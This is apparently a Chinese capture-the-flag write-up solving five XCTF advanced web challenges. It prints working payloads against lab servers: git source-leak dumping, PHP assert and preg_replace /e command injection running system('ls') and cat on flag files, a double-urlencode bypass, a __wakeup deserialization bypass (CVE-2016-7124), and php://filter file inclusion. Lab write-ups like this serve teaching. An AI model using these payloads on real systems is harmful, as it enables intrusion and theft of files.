XCTF(攻防世界)—进阶web题Write Up(二)
前言:继续总结学到的新知识
mfw
在about页面发现,搭建网站时用了git
,尝试一下是否为git源码泄露
输入:
http://111.198.29.45:36544/.git/
果然是源码泄露,那就查看一下文件,发现并没有找到flag,在Github上下载git源码泄露工具
,可以得到其源码。
输入相应的命令:
python2 GitHack.py http://111.198.29.45:36544/.git/
得到源码,发现并没有flag
查看index.php发现
并没有对GET
进去的参数进行过滤,assert
函数中参数为表达式可以当作PHP
文件来执行,再了解一下以下这两个函数:
strpos() 函数查找字符串在另一字符串中第一次出现的位置。
file_exists() 函数检查文件或目录是否存在
有了assert
函数,又没有过滤,可以用system()
函数进行查看文件等
?page=flag '.system("ls").'
查看templates
?page=flag '.system("cd templates;ls").'
最后查看flag.php
?page=flag '.system("cat templates/flag.php").'
在源码中即可发现flag
注意:
system("") 中命令使用双引号
NaNNaNNaNNaN-Batman
下载附件,打开文件发现乱码
不过还是能看到<script>
等标签的,后缀名改为html
观察了还是没有什么头绪,继续看文件源代码
发现在文件最后有一个eval()
函数,改成可以弹窗的alert()
函数将脚本文件通过弹窗显示出来
eval() 函数计算 JavaScript 字符串,并把它作为脚本代码来执行
整理好
观察源码,只要满足代码中的正则表达式即可
^ 匹配输入字符串的开始位置
$ 匹配输入字符串的结尾位置
又限制了e的长度,^
和$
必须匹配到,所以可以构造
e=be0f23233ace98aa
还有一种方法利用控制台直接执行下面的代码
即可得出flag
PHP2
什么也没有,抓包,御剑扫
发现index.php
,但是打开还是这个页面,那就试一下index.phps
,发现有源码泄露
这里解释一下.phps
文件
phps文件就是php的源代码文件,通常用于提供给用户(访问者)查看php代码,因为用户无法直接通过Web浏览器看到php文件的内容,所以需要用phps文件代替。
接下来分析源代码
===是恒等计算符 同时检查表达式的值与类型
==是比较运算符号 不会检查条件式的表达式的类型
第一步需要使这行代码不成立
if("admin"===$_GET[id])
第二步需满足这行代码成立
$_GET[id] = urldecode($_GET[id]);if($_GET[id] == "admin")
由于网站在解析输入的参数时会对非ASCII码的字符进行一次urlencode
所以构造payload时将其中一个字符urlencode
两次即可
payload:
http://111.198.29.45:40639/index.php?id=a%2564min
即可得出flag
unserialize3
这个格式再加上题目,很容易就可以想到是考察反序列化的
PHP魔法函数中存在__wakeup()
方法,unserialize()
会检查是否存在一个__wakeup()
方法。如果存在,则先会调用__wakeup()
方法。
下面就来构造payload:
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
#xctf后面的1即代表属性个数
发现回显结果为:
bad requests
这里是因为__wakeup()
的影响,所以要绕过__wakeup
,
当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)
故构造payload:
?code=O:4:"xctf":3:{s:4:"flag";s:3:"111";}
即可得出flag
补充:属性
类的变量成员叫做“属性”,或者叫“字段”、“特征”,在本文档统一称为“属性”。属性声明是由关键字 public,protected 或者 private 开头,然后跟一个普通的变量声明来组成。
// 正确的属性声明public $var6 = myConstant;
ics-05
御剑、源码都没有什么线索,点击一下云平台设备维护中心
,发现URL有变化
LFI漏洞的黑盒判断方法:
单纯的从URL判断的话,URL中path、dir、file、pag、page、archive、p、eng、语言文件等相关关键字眼的时候,可能存在文件包含漏洞。
所以猜测是应该是文件包含读源码
,利用php://filter
协议即可
?page=php://filter/read=convert.base64-encode/resource=index.php
base64解码得到index.php
源码,在源码中发现关键的代码
$_SERVER['HTTP_X_FORWARDED_FOR'] 获取IP地址
preg_replace($pattern, $replacement, $subject)
搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换
$pattern: 要搜索的模式,可以是字符串或一个字符串数组。
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组
这串代码存在一个漏洞,preg_replace
函数存在命令执行漏洞
preg_replace()
函数使用 /e
模式,导致代码执行的问题
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
所以利用这个漏洞可以执行一些命令
抓包,首先设置IP
地址为127.0.01
,再传入三个参数的值
?pat=/1234/e&rep=system("ls")&sub=1234
发现一个特别的文件夹s3chahahaDir
,进行查看
?pat=/1234/e&rep=system("cd%20s3chahahaDir%26%26%20ls")&sub=1234
在这里用空格会没有变化,用%20
或者+
代替,%26%26
为&&
A&&B A执行成功,然后才会执行B
发现flag
文件,进行查看
?pat=/1234/e&rep=system("cd%20s3chahahaDir/flag%26%26%20ls")&sub=1234
使用cat
命令查看flag.php
?pat=/1234/e&rep=system("cat%20s3chahahaDir/flag/flag.php")&sub=1234
即可得出flag
总结:这次就先总结到这里,下次继续总结!
XCTF(攻防世界)—进阶web题Write Up(二)相关推荐
- XCTF(攻防世界)—进阶web题Write Up(一)
前言:这段时间做了一些XCTF的web进阶题,真的是学习到了很多知识,就来总结一下. Cat 一开始以为是命令注入,恰好最近学习了命令注入,就先来测试一下: 输入127.0.0.1,发现是可以ping ...
- XCTF(攻防世界)—新手web题Write Up
前言:之前一直没有接触过web这方面的题,这次利用暑假时光好好学习,web真的是很有趣,虽然有的题很简单,但可以学习到很多知识,话不多说,做题. view_source 用老版火狐浏览器,直接查看源码 ...
- XCTF攻防世界--第2题快来围观学习
解题方法写在代码注释里了 题目: #include #include //大概阅读整体代码,通过最后几行代码我们得知我们需要的flag就是代码中的hash变量 //此时我们逆向推到hash变量的来源 ...
- XCTF攻防世界Web新手入门题大全
XCTF攻防世界Web之WriteUp无图版 (Tips:有图版本,请移步我的资源,自行下载doc文档) 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 vie ...
- XCTF攻防世界练习区-web题(新手)
XCTF攻防世界练习区-web题(新手) https://adworld.xctf.org.cn/task?now_checked_num=3&name=web 001 view_source ...
- XCTF攻防世界Web之WriteUp
XCTF攻防世界Web之WriteUp 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 view-source2 0x02 get post3 0x03 rob ...
- 攻防世界MISC刷题1-50
目录 1.ext3 2.base64stego 3.功夫再高也怕菜刀 4.easycap 5.reverseMe 6.Hear-with-your-Eyes 7.What-is-this 8.norm ...
- XCTF攻防世界 Normal_RSA
XCTF攻防世界 Normal_RSA 实验环境: windows 10 实验所需工具: python工具: yafu (可以在https://github.com/DarkenCode/yafu上下 ...
- 攻防世界逆向高手题之reverse-for-the-holy-grail-350
攻防世界逆向高手题之reverse-for-the-holy-grail-350 继续开启全栈梦想之逆向之旅~ 这题是攻防世界逆向高手题的reverse-for-the-holy-grail-350 ...
最新文章
- XDOC Office Server 开源了,Office文档完美转换为PDF
- php和js中,utf-8编码转成base64编码
- windows下将iso文件挂载到文件夹
- 【剑指offer28:字符串的排列】【java】
- flink入门_阿里巴巴为何选择Flink?20年大佬分11章讲解Flink从入门到实践!
- Python 第三方模块之 selenium - 模拟操作 Chrome 浏览器
- Leetcode每日一题:101.symmetric-tree(对称二叉树)
- 应用HTK搭建语音拨号系统2:创建单音素HMM模型
- EasyRecovery14免费激活码序列号数据恢复软件 简体中文绿色直装版
- 配置管理工具应该具有的一般特性
- 苹果maccms V10采集插件下载全自动配置定时任务采集教程
- dorado7.x argument type mismatch
- 开关三极管的导通和截止条件
- java fps计算_帧率(FPS)计算的六种方法总结
- 计算机考研专业课——c语言
- win10系统映像恢复
- 新浪微博技术分享:微博短视频服务的优化实践之路
- H5中 iphoneX适配
- 乐吾乐零部件拆解可视化解决方案
- 使用RestTemplate请求第三方接口出错,没抛出异常?
热门文章
- 量子计算机人的大脑,人类的大脑是量子计算机吗?科学家正在进行测试!
- python高斯分布训练_Python画图高斯分布的示例
- 节能原理 (能量平衡)
- Docker安装mysql并连接
- 申请补办 CET(纸笔考试)成绩证明的方法
- 旷视研究院博士图鉴|Be that challenger
- 深度学习中多层全连接网络的梯度下降法及其变式
- 已经无法合并还报请合并git_GIT 分支管理:创建与合并分支、解决合并冲突
- 挂代理无法访问网页了怎么办_微信H5网页授权
- uni-app——一种通过Nginx反向代理处理302重定向请求解决网络请求中无法获取Cookie的解决方案